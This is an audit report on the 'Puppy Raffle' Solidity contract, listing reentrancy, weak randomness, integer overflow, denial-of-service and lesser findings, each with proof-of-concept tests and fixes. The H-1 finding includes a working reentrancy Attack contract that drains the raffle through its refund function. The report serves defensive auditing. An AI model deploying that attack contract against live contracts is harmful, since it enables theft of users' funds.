Puppy Raffle Protocol Audit Report

Version 1.0

victor.zsh

January 21, 2025

Puppy Raffle Protocol Audit Report

victor.zsh

Jan 21, 2025

Prepared by: victor.zsh Lead Auditors:

- victor.zsh

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial os service (DoS) attack, incrementing gas costs for future entrants
    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to a incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables should be delcared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5] User of "magic" numbers is discouraged
    * [I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This allows users to enter a raffle to win a cute dog NFT.

Disclaimer

The victor.zsh make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2

Severity	Number of issues found
Info	6
Total	15

Findings

High

[H-1] Reentrancy attack in `PupplyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   @>      payable(msg.sender).sendValue(entranceFee);
7   @>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle untill the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicius participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        Attack attack = new Attack(puppyRaffle);
        uint256 attackContractBalanceBefore = address(attack).balance;
        uint256 contractBalanceBefore = address(puppyRaffle).balance;

        vm.prank(attacker);
        attack.attack{value: entranceFee}();

        uint256 attackContractBalanceAfter = address(attack).balance;
        uint256 contractBalanceAfter = address(puppyRaffle).balance;

        console.log("attackContractBalanceBefore",
           attackContractBalanceBefore);
        console.log("attackContractBalanceAfter",
           attackContractBalanceAfter);
        console.log("contractBalanceBefore", contractBalanceBefore);
        console.log("contractBalanceAfter", contractBalanceAfter);
    }
```

And this contract as well.

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.7.6;

import {PuppyRaffle} from "./PuppyRaffle.sol";

contract Attack {
    PuppyRaffle public victim;
    uint256 public entranceFee;

    constructor(PuppyRaffle _victim) {
        victim = _victim;
        entranceFee = victim.entranceFee();
    }

    function attack() external payable {
```

```
16          address[] memory players = new address[](1);
17          players[0] = address(this);
18          victim.enterRaffle{value: entranceFee}(players);
19          uint256 indexOfPlayer = victim.getActivePlayerIndex(address(
                this));
20          victim.refund(indexOfPlayer);
21      }
22
23      function _stealMoney() internal {
24          if (address(victim).balance >= 1 ether) {
25              uint256 indexOfPlayer = victim.getActivePlayerIndex(address
                    (this));
26              victim.refund(indexOfPlayer);
27          }
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33
34      fallback() external payable {
35          _stealMoney();
36      }
37  }
```

Recommended Mitigation: To prevent this, we should have `PupplyRaffle:refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  -        payable(msg.sender).sendValue(entranceFee);
2
3  -        players[playerIndex] = address(0);
4  -        emit RaffleRefunded(playerAddress);
5  +        players[playerIndex] = address(0);
6  +        emit RaffleRefunded(playerAddress);
7
8  +        payable(msg.sender).sendValue(entranceFee);
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficult` together creates a predictable find number. A predictable number is not a good random number. Malicius users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of the time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615 (~18.5 ether)
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 100 players
2. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 0 + 20e18;
// and this will overflow!
totalFees = 1553255926290448384;
```

3. You will not be able to withdraw, due the line in `PuppyRaffle::withdrawFess`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

Place the following code in `PuppyRaffleTest.t.sol`

```
    function test_overflow_fees() public {
        uint256 playersNumber = 100;
        address[] memory players = new address[](playersNumber);
        for (uint256 i = 0; i < playersNumber; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
           players);

        vm.warp(block.timestamp + duration + 1);

        puppyRaffle.selectWinner();
        uint64 fees = puppyRaffle.totalFees();

        // expected 20 ether (20e18)
        // got 1.55 ether (1553255926290448384 - 1.5e18)
        console.log("fees", fees);
    }
```

Recommended Mitigation: There are few possible mitigations.

1. Use a newer version of solidity, and a `uint256` intead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial os service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more expensive it becomes to check for duplicates. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than players who enter later. Every additional player entering the raffle will increase the gas costs for subsequent players.

```
1 // @audit DoS attack
2 @>      for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gast costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging new players from entering the raffle.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6503222 gas
- 2nd 100 players: ~18995462 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following code in `PuppyRaffleTest.t.sol`

```
1     function test_denialOfService() public {
2         vm.txGasPrice(1);
3 
4         uint256 playersNumber = 100;
5         address[] memory players = new address[](playersNumber);
6         for (uint256 i = 0; i < playersNumber; i++) {
7             players[i] = address(i);
```

```
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players", gasUsedFirst);

        // now for the 2nd 100 players

        address[] memory playersTwo = new address[](playersNumber);
        for (uint256 i = 0; i < playersNumber; i++) {
            playersTwo[i] = address(i + playersNumber);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of the second 100 players", gasUsedSecond
            );

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses to enter the raffle, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a player is already in the raffle.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

```

```
13 -         // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23          emit RaffleEnter(newPlayers);
24      }
25 .
26 .
27 .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` to store players who have entered the raffle.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppleRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses → payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to a incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
```

```
7
8 @>        return 0;
9       }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array intead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be delcared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +       uint256 numOfPlayers = players.length;
2 -       for (uint256 i = 0; i < players.length - 1; i++) {
3 +       for (uint256 i = 0; i < numOfPlayers - 1; i++) {
4 -           for (uint256 j = i + 1; j < players.length; j++) {
5 +           for (uint256 j = i + 1; j < numOfPlayers; j++) {
6                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
```

```
7                 }
8             }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 204

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] User of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
...
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

This function is marked as `internal` and should never be used outside of the contract. It's never called inside the contract. So it's safe and recommended to remove.

```
- _isActivePlayer(msg.sender);
```